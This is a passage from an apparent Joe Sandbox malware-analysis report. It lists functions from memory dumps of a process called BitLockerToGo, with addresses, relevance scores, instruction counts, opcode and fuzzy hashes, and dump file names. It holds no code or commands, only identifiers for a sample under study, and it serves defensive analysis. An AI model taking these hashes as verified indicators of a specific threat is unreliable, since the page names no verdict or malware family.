Opcode Fuzzy Hash: 1f50cd7010000490fdc96b31a8b850f6e635596641f932522b99fa7355fb2cf9
Instruction Fuzzy Hash: F001F4336562118FC308CF24CC9092AB323BFD9240F1F8D6DC59157212D675E41AC688

Function 00452F00 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 285064a6bd4250f6abf057f0a403e33f82f68561e16a38f42ce1240f957ed8e8
Instruction ID: f3ffb87e86d34996bae9170fe70bf5ccec96c2bf7c021f70b5bcf28db5dee89c
Opcode Fuzzy Hash: 285064a6bd4250f6abf057f0a403e33f82f68561e16a38f42ce1240f957ed8e8
Instruction Fuzzy Hash: 155206716083459FCB14CF24C0906AABBE1BF89346F188A6EFC9A57342D778D94DCB85

Function 00464752 Relevance: .7, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4d822e1eb8515c98540bbde6b3fe7bc1e79e47566ff14389d058d305a07fe73
Instruction ID: 4a63811177c5c41e2dd92bcba82e5119659fafefea4a6eaa1cc295fb28c45911
Opcode Fuzzy Hash: e4d822e1eb8515c98540bbde6b3fe7bc1e79e47566ff14389d058d305a07fe73
Instruction Fuzzy Hash: 6502D4B5D002158BCB20CF68C8917ABB7F1FF9A324F15415AE845AB391F3396D05C7A6

Function 004566F0 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4006ee09d1a61692cb83f2cad5713de9625560001c3009694e7511d98c5989ab
Instruction ID: 21644474e1ea197190d23822290b3a69ebfa69cb2c46aafe21a602d1985dac00
Opcode Fuzzy Hash: 4006ee09d1a61692cb83f2cad5713de9625560001c3009694e7511d98c5989ab
Instruction Fuzzy Hash: FE52B3B0908B849FE735CB24C4843A7BBE1AB51315F55882FD9E707783C27DA98D871A

Function 004574D0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc61cd3dfb897e8215bfdbd5a37a6c9e1fd871d4b0754f19be743ac64f66a94a
Instruction ID: 450c6402aa5c506a056887709d464eee5f1d304f7bccd18d10e97eea677bab3e
Opcode Fuzzy Hash: cc61cd3dfb897e8215bfdbd5a37a6c9e1fd871d4b0754f19be743ac64f66a94a
Instruction Fuzzy Hash: 6922C5316087118BC725DF18E8806ABB3E1FFC431AF19893ED98697386D738A8598756

Function 00461876 Relevance: .6, Instructions: 604COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 419a56f930dca4666467c1d431c45fe812816fede641a2345434da0e9fdc9ac6
Instruction ID: 9846729296f0f9fed5b4a851f4e5914364f9eb2194c8c88a211379a52808b66a
Opcode Fuzzy Hash: 419a56f930dca4666467c1d431c45fe812816fede641a2345434da0e9fdc9ac6
Instruction Fuzzy Hash: 78320675604B408FD714DF38C485366BBE1AB55314F198A2ED8EB87392E639F809CB47

Function 00453930 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d980f0bd98610e4d8272660670069c7f9cc81199d03276e44bf644db170010b2
Instruction ID: ddbd1301578d768473ec3ca646c02d57d5ea5e18590c1905f307204d9663284c
Opcode Fuzzy Hash: d980f0bd98610e4d8272660670069c7f9cc81199d03276e44bf644db170010b2
Instruction Fuzzy Hash: 71323671914B108FC328CF29C58052AB7F1BF45752B604A2EDA9787F92D33AF949CB18

Function 0048C820 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f8efac94917cd77447e8dfe9593aaaf3c7b36b215c94a9f2f29dd1d6d84993
Instruction ID: 0f093964ae74b592f723f992f79af8cf3be110f790fd6c9f93aa59ee46669c6f
Opcode Fuzzy Hash: e0f8efac94917cd77447e8dfe9593aaaf3c7b36b215c94a9f2f29dd1d6d84993
Instruction Fuzzy Hash: 3402F035608311CFCB04EF38E8D066AB7E1FB9A315F1A88BED58687251E735E941CB49

Function 00468C46 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c2f38fc8222979f610f24472fe96420f0f61dedd85b953a3439a25a67a087a
Instruction ID: 4f861b8cf0a160637a9c49dad9862a472887b6ed847ff5d24eab2be97342d1af
Opcode Fuzzy Hash: 40c2f38fc8222979f610f24472fe96420f0f61dedd85b953a3439a25a67a087a
Instruction Fuzzy Hash: 2DE179765087418FD714CF29E89067BB7D2AFE6305F184A6EE0C587352DA388806CBA7

Function 0048C930 Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57e904eec1f08fac797be2f0bd1344a0e7e30b8506f8f698f1fa61e07dda006
Instruction ID: e6a1ecca919e3c70d30f5511653764e80b2f409667fb17656bad36c1576a1d5b
Opcode Fuzzy Hash: e57e904eec1f08fac797be2f0bd1344a0e7e30b8506f8f698f1fa61e07dda006
Instruction Fuzzy Hash: 79E1F035718211CFCB04DF38E8D066AB7E2FB9A315F1A88BED58683261D735E845CB49

Function 00487D29 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d29df665f12312b8cc617b5bfb3f0015dc74ac8b7e99102309fa20f085b94ca
Instruction ID: a1aaba294233cc4b9eb175d070a76d62343980c9b1f79f68a62eafeaf600d301
Opcode Fuzzy Hash: 8d29df665f12312b8cc617b5bfb3f0015dc74ac8b7e99102309fa20f085b94ca
Instruction Fuzzy Hash: 2AD1F53B628211CBCB18AF38DC9126A73F1FF99755F0B88BED4414B2A4E7398954C715

Function 00455970 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5434ebfba671a294963a3f7bceb3c19fe9051a744981fe19bf1b3f8fccd7a8d4
Instruction ID: 345c3de5c179728b40dfc68a3ce4197056e02c51f87368699207bac7403df720
Opcode Fuzzy Hash: 5434ebfba671a294963a3f7bceb3c19fe9051a744981fe19bf1b3f8fccd7a8d4
Instruction Fuzzy Hash: DBF1C3356087418FC724CF29C89176BFBE2AFD9304F08882DE8D587752E679E948CB56

Function 0045EC90 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df9ad0b670bf84757516bd2133254754294d3bd8caa22bce31a134bc3c4e2bc
Instruction ID: 78bd5dc1c254694dfdf44d8bf6e35c8d256e04b7d2eea8e48aa77936a824bc8e
Opcode Fuzzy Hash: 0df9ad0b670bf84757516bd2133254754294d3bd8caa22bce31a134bc3c4e2bc
Instruction Fuzzy Hash: 7A02DAF1905B40AFC3A1CF3AC942797BEECEB4A260F14491EF4AEC7241D73565058BA6

Function 004650DD Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af5be24c1a2e8297621e508a97580055c9f9656241941abe8e7d132d48124b44
Instruction ID: a8703c94d9fff6df1a3ee5274742ed6477cb494fadc94c62872dda43e8f37118
Opcode Fuzzy Hash: af5be24c1a2e8297621e508a97580055c9f9656241941abe8e7d132d48124b44
Instruction Fuzzy Hash: CCD116316502059FDB18CF68DC91BFE33B2FB95309F58457ED112DB261EB35A9128B88

Function 00458250 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d4d169968f695dc456d0b3335d65fdb3f6151547497ae9682c64665e8113e4
Instruction ID: d2c67ced83ef65a46f0bc2dcc45bc83326cce5c3e28c394baa1ed8d3bcda18d9
Opcode Fuzzy Hash: 79d4d169968f695dc456d0b3335d65fdb3f6151547497ae9682c64665e8113e4
Instruction Fuzzy Hash: 1FD1EC716083455BC718CE29C8E026FBBD2ABC1315F18861EF9E6573D6EE3C99098B46

Function 004767EF Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4292635271bf925e2af90ecbfed0c55d02b8cc83aefc42e02b814d1a054e10ac
Instruction ID: cc52b212c35310c1b9c3ca19effc08cc0d6b428f4fe27ea028eb87b909f6f81b
Opcode Fuzzy Hash: 4292635271bf925e2af90ecbfed0c55d02b8cc83aefc42e02b814d1a054e10ac
Instruction Fuzzy Hash: BBC1D4B6E005158FCB1CCF69D85066EB7B2BB99314F19C17ED81AA7392DB349C02CB84

Function 0048CB20 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 888cee706edf79c4e4d506956589f03659b5e2f23eeb16c0828606ec3ccd9b7d
Instruction ID: 678906fcd53b16e21a9807575729e90702dda5194dd3249971e121fa68697c85
Opcode Fuzzy Hash: 888cee706edf79c4e4d506956589f03659b5e2f23eeb16c0828606ec3ccd9b7d
Instruction Fuzzy Hash: F9A1FF35218211CFCB04EF38E89066AB7E1FF9A315F1A897EE58683351D739E941CB49

Function 004687C1 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4f97890fe4297331055e40927051cc0301748eb2b94673d72afeb8727c0a31f8
Instruction ID: 0816e173fe0e6e210fa60bc1254d3628fd9e2085806149b18e3a1fe85e364fff
Opcode Fuzzy Hash: 4f97890fe4297331055e40927051cc0301748eb2b94673d72afeb8727c0a31f8
Instruction Fuzzy Hash: 058188711082428FDB14DF28D89067B77A2ABE5315F184A6EE5C687342EF389906C7A7

Function 0046DCD0 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d12c17a84c532656340cc3f1595ba7b525cf2fc4270954224873b9c603cf68c
Instruction ID: 66eecce7571ae018a1f7b904e0504909d030901afb4b774b6ca990e992e2722f
Opcode Fuzzy Hash: 4d12c17a84c532656340cc3f1595ba7b525cf2fc4270954224873b9c603cf68c
Instruction Fuzzy Hash: 7DB10775A04301AFD7209F25EC41B1ABBE1BFD5319F144A3EF8D8972A1EB769C048B46

Function 0048E040 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 026bd3c9510cf310fa9902082eab4049a7519e428abf10a1d6ae90b535d6193e
Instruction ID: 7f7e22c9cc370b0ffb862f364e3bced6c128c7a65f21c9a600a62f7594d133df
Opcode Fuzzy Hash: 026bd3c9510cf310fa9902082eab4049a7519e428abf10a1d6ae90b535d6193e
Instruction Fuzzy Hash: BBA1F2316083119BC724EF29C880A6FB3E6FFD5700F09896EE9918B365DB74AC50CB95

Function 0048CBC0 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5e1f6d6d41b33dcc1d7af4081bf4dad27c38724dbded58f3f2f298d8ebbcccb
Instruction ID: 15e32c292d24fd754b882d4b1dba07f269e8c35907c7f4c21fba0ef7e91ccc69
Opcode Fuzzy Hash: f5e1f6d6d41b33dcc1d7af4081bf4dad27c38724dbded58f3f2f298d8ebbcccb
Instruction Fuzzy Hash: BDA1ED30618241CFD708EF38E89066AB7E1FB9A315F1A897EE58683251D739E941CB49

Function 00476C35 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bfc4140317955726610524b6fdf5330057cfd16a0da2b735fe1ad62c154eb66
Instruction ID: 8ad71a82ed3f7afcb8b3a2008596e4d368a526b28b86067857b855978e9b8b38
Opcode Fuzzy Hash: 5bfc4140317955726610524b6fdf5330057cfd16a0da2b735fe1ad62c154eb66
Instruction Fuzzy Hash: 4FB10431A14151CFCB14CF28D8517AEBBB3BF9A320F1A82AAD455AB3D1C7349D42CB94

Function 0048DD00 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da216b012b3d49078de80a65f16ec0adb656deacf3085f736745bc9c6d7906a1
Instruction ID: e4faa7cc702dfb9844232055508dde857f54bd6b2ca4bd9ed5a5c88aca41d8e6
Opcode Fuzzy Hash: da216b012b3d49078de80a65f16ec0adb656deacf3085f736745bc9c6d7906a1
Instruction Fuzzy Hash: CFA1E231A053118BC729DF28C490A7FB3E2EFD9304F15896EE9869B394DB34AC51CB85

Function 00456260 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d9b9ce4d018fd2524abc10b387267cbb61429f86c7d30272f52c069b9f06a3
Instruction ID: 598103bee8da28191d2a8b2a3674866ae32b02ff3f752f1bf875fabe4818351c
Opcode Fuzzy Hash: f8d9b9ce4d018fd2524abc10b387267cbb61429f86c7d30272f52c069b9f06a3
Instruction Fuzzy Hash: F8C15BB29087418FC360CF28CC867ABB7E1BB85318F49492DD5D9C7242E778A159CB0A

Function 0046E0E0 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b367b4b8323647d3df08f9bc05a11f02a49e75c6329056839b3c06dd6bf05e77
Instruction ID: 1520d8b2dffeb82e14a224db8e64ef0aaa5057bc8eb873a096d6f0b472331109
Opcode Fuzzy Hash: b367b4b8323647d3df08f9bc05a11f02a49e75c6329056839b3c06dd6bf05e77
Instruction Fuzzy Hash: FE913637B59A804BD328897E4C153AAAA834BD6330F2DC37FA9B5C73E5D96C4C064346

Function 0046849D Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3bb308d2cac15941bef27c0e6a92355f6c5093aec1be850d82f29a2589a9effb
